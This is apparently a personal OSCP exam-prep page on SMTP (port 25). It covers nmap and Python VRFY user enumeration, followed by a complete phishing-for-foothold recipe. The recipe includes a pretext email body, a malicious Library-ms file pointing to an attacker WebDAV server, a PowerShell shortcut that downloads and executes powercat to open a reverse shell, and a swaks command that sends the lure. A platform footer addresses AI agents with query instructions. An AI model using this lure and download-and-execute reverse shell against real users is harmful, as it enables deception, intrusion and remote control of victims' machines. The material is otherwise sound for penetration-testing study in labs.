> For the complete documentation index, see [llms.txt](https://personal-archive.gitbook.io/oscp-exam-prep/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://personal-archive.gitbook.io/oscp-exam-prep/commons/service-enumeration/smtp-25.md).

# SMTP (25)

## User enumeration

{% code overflow="wrap" fullWidth="true" %}

```
nmap --script smtp-enum-users.nse -p 25,465,587 <IP>
```

{% endcode %}

## Automated recon script

{% code overflow="wrap" fullWidth="true" %}

```
python3 smtp_script.py <username> <IP>
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
Script:
#!/usr/bin/python 
import socket 
import sys 

if len(sys.argv) != 3:
        print("Usage: smtp_user_enum <username> <target_ip>") 
        sys.exit(0) 

# Create a Socket 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

# Connect to the Server 
ip = sys.argv[2] 

connect = s.connect((ip,25)) 
# Receive the banner 

banner = s.recv(1024) 
print(banner) 

# VRFY a user 
user = (sys.argv[1]).encode() 

s.send(b'VRFY ' + user + b'\r\n') 
result = s.recv(1024) 
print(result) 

# Close the socket 
s.close() 

```

{% endcode %}

## Phishing attack to get  a foothold

### Preparation

{% code overflow="wrap" fullWidth="true" %}

```
On Kali Machine:
    Create a webshare for target machines to send files to
    /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/
 
     OR
    
    wsgidav -H 0.0.0.0 -p 80 --auth anonymous -r /home/kali/beyond/webdav/
    
    Create a text file named body.txt
    Input the following email template into the text file
    
    
On Windows Machine:
    Create a text file named: config.Library-ms
    Input the following xml snippet below into the text file
    
    Create a shortcut that runs the following powershell command that initiates a reverse shell
    Transfer both files onto the Kali Machine for hosting
```

{% endcode %}

<details>

<summary>body.txt</summary>

{% code overflow="wrap" fullWidth="true" %}

```
Hey!
I checked WEBSRV1 and discovered that the previously used staging script still exists in the Git logs. I'll remove it for security reasons.

On an unrelated note, please install the new security features on your workstation. For this, download the attached file, double-click on it, and execute the configuration shortcut within. Thanks!

John
```

{% endcode %}

</details>

<details>

<summary>config.Library-ms</summary>

{% code overflow="wrap" fullWidth="true" %}

```
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>

<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>

<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>

<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://<Kali IP></url>
</simpleLocation>

</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```

{% endcode %}

</details>

<details>

<summary>automatic_configuration.lnk</summary>

{% code overflow="wrap" fullWidth="true" %}

```
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<Kali IP>/powercat.ps1'); powercat -c <Kali IP> -p <Kali port> -e powershell"
```

{% endcode %}

</details>

### Exploit

{% code overflow="wrap" fullWidth="true" %}

```
On Kali Machine:
    Have a netcat listener set up to catch the reverse shell
    Have a wsgidav server to host the automatic_configuration.lnk file
    Have a python simple server set up to host powercat, or any other payload


Send the email to target mail server and a destination email address:
    sudo swaks -t <Target EMAIL> -t <Target EMAIL> --from <Source EMAIL> --attach @config.Library-ms --server <MAILSVR IP> --body @body.txt --header "Subject: Staging Script" --suppress-data
```

{% endcode %}

* Goal: Target user receive the email, and and executes the .library-ms file. Upon execution, the target machine will fetch the Powercat binary from our Kali machine, and initiate a reverse shell with us. Giving us initial foothold onto the target machine


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://personal-archive.gitbook.io/oscp-exam-prep/commons/service-enumeration/smtp-25.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
